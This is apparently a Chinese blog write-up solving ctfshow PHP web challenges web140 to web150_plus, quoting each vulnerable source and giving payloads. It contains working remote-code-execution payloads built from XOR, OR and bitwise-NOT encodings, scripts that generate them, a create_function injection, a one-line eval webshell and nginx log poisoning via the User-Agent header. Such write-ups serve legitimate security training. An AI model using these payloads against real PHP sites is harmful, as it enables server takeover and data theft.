highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

先post传f1和f2,将命令执行后的结果和ctfshow弱比较,如果为真就能得到flag,可以先在本地做一个测试,看看什么样的字符串最后能为真

<?php
$b = intval($_GET[a]);
var_dump($b=='a');
?>

发现纯字母和字母+数字的字符串都可以是真,就想到md5()函数,加密后为字母+数字,而phpinfo()正好是一个函数

payload:

f1=md5&f2=phpinfo

web141

<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

这题考察的是无字母数字的rce,具体的可以看羽师傅的无字母数字绕过正则表达式总结,里面有很多种方法,我用的是他第一种——异或的方法,

姿势一:异或

首先可以fuzz一波,看看有哪些字符能被我们利用

<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w"); // 新建一个文本文件,将可用字符放在里面
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i); // dechex()将十进制转为十六进制
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){  //hex2bin()将十六进制转为ascii
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)^urldecode($b)); # 将符合条件的字符url解码并异或
		if (ord($c)>=32&ord($c)<=126) {  # 对于所有字符,筛选出符合条件的
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

下面开始用这些字符来构造我们想要执行的命令

# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5] # 取可用字符的第二部分
               s2+=t[6:9] # 取可用字符的第三部分
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")" # 将第二部分与第三部分异或,得到想要的字符
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

再来看这题的代码,他在执行eval()函数时,会将$v1 $v2 $v3拼接在一起,因为v1和v2都是数字,所以要想办法绕过,只让v2的内容有效。在php中,数字和字符是可以进行一些运算的,例如1-phpinfo();,最终还是可以执行phpinfo();的,那么就可以用1-phpinfo();-1来绕过

payload:

[+] your function:system
[+] your command:ls
?v1=1&v2=1&v3=-("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");-

[+] your function:system
[+] your command:tac flag.php
?v1=1&v2=1&v3=-("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");-

姿势二:或

把上面的两个脚本小改一下,将^换成|就可以了

<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a) | urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os

"""异或
def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("../../phpstudy/phpstudy_pro/WWW/xor_rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)
"""

def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("../../phpstudy/phpstudy_pro/WWW/xor_rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"|\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)

姿势三:取反

取反的时候基本上都用的不可见字符,不用绕过这里的正则表达式

<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

payload:

[+]your function: system
[+]your command: tac flag.php
[*] (~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F);

?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F);-

web142

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

主要是对sleep()函数的绕过,这里想要直接得到flag,可以想到0,0乘任何数都是0

payload:

?v1=0

web143

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

这题在web141的基础上又过滤了-;,那么v3开头和结尾的符号就可以变成*/;直接省略即可

payload:

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*

web144

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    return strlen($str)===1?true:false;
}

这题换了个花样,限制v3的长度为1,那我们就把想要执行的命令放在v2

payload:

?v1=1&v2=(~%8C%86%8C%8B%9A%92)(~%93%8C);&v3=-

?v1=1&v2=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%D5);&v3=-

web145

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

在上一题的基础上又过滤了*/,考察的是三目运算符的使用

eval("return 1?phpinfo();:1");

这个代码是可以执行后出现phpinfo的页面的

payload:

?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%93%8C):
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%D5):

web146

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

在上一题基础上过滤了;:,不能用三目运算符了,但是可以用等于

eval("return 1==phpinfo()||1;");

这是可以出来phpinfo的,;的话,用||绕过就行

payload:

?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%93%8C)||
?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%D5)||

web147

<?php
highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }
}

可以参考下Code Breaking 挑战赛 Writeup

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

这题可以用create_function()函数来实现,先看这个函数的定义:

create_function('$fname','echo $fname."Zhang"')
//类似于
function fT($fname) {
  echo $fname."Zhang";
}

想要执行命令,首先就要将这个函数闭合,然后才能输入想要执行的命令,并且因为这题过滤了数字和字母,可以用%5c放在开头绕过。

payload:

GET:?show=echo 1;}system("tac f*");//
POST:ctf=%5ccreate_function

web148

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

没过滤^,直接用上面的脚本就行

payload:

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%0c%08"^"%60%7b");
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%02"^"%7d%60%60%21%60%60%28");

预期解是用中文变量
payload:

?code=$哈="`{{{"^"?<>/";${$哈}[](${$哈}[]);&=system&=tac f*
"`{{{"^"?<>/";  异或的结果是_GET,

web149

<?php
error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

这题看hint应该是用条件竞争来搞,但是因为sb的ddos,群主调整了一下,现在很难去条件竞争了。但是这题还是可以写的,他并未对写入的内容有限制,可以直接写一句话木马进去

payload:

GET:?ctf=1.php
POST:show=<?php @eval($_POST[a]);?>

然后蚁剑连接即可在根目录找到flag

web150

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}

刚开始以为直接到反序列化了,后来才发现是变量覆盖+日志包含。分析代码,只有当isVIP的值为1时,才会触发include($ctf)。这里可以通过get传isVIP=1,通过extract()将原来的值覆盖掉,日志路径是/var/log/nginx/access.log

payload:

GET:isVIP=1
POST:ctf=/var/log/nginx/access.log&a=system("tac fl*");
User-Agent:<?php @eval($_POST[a]);?>

web150_plus

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}

exp:https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lum1n0us

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值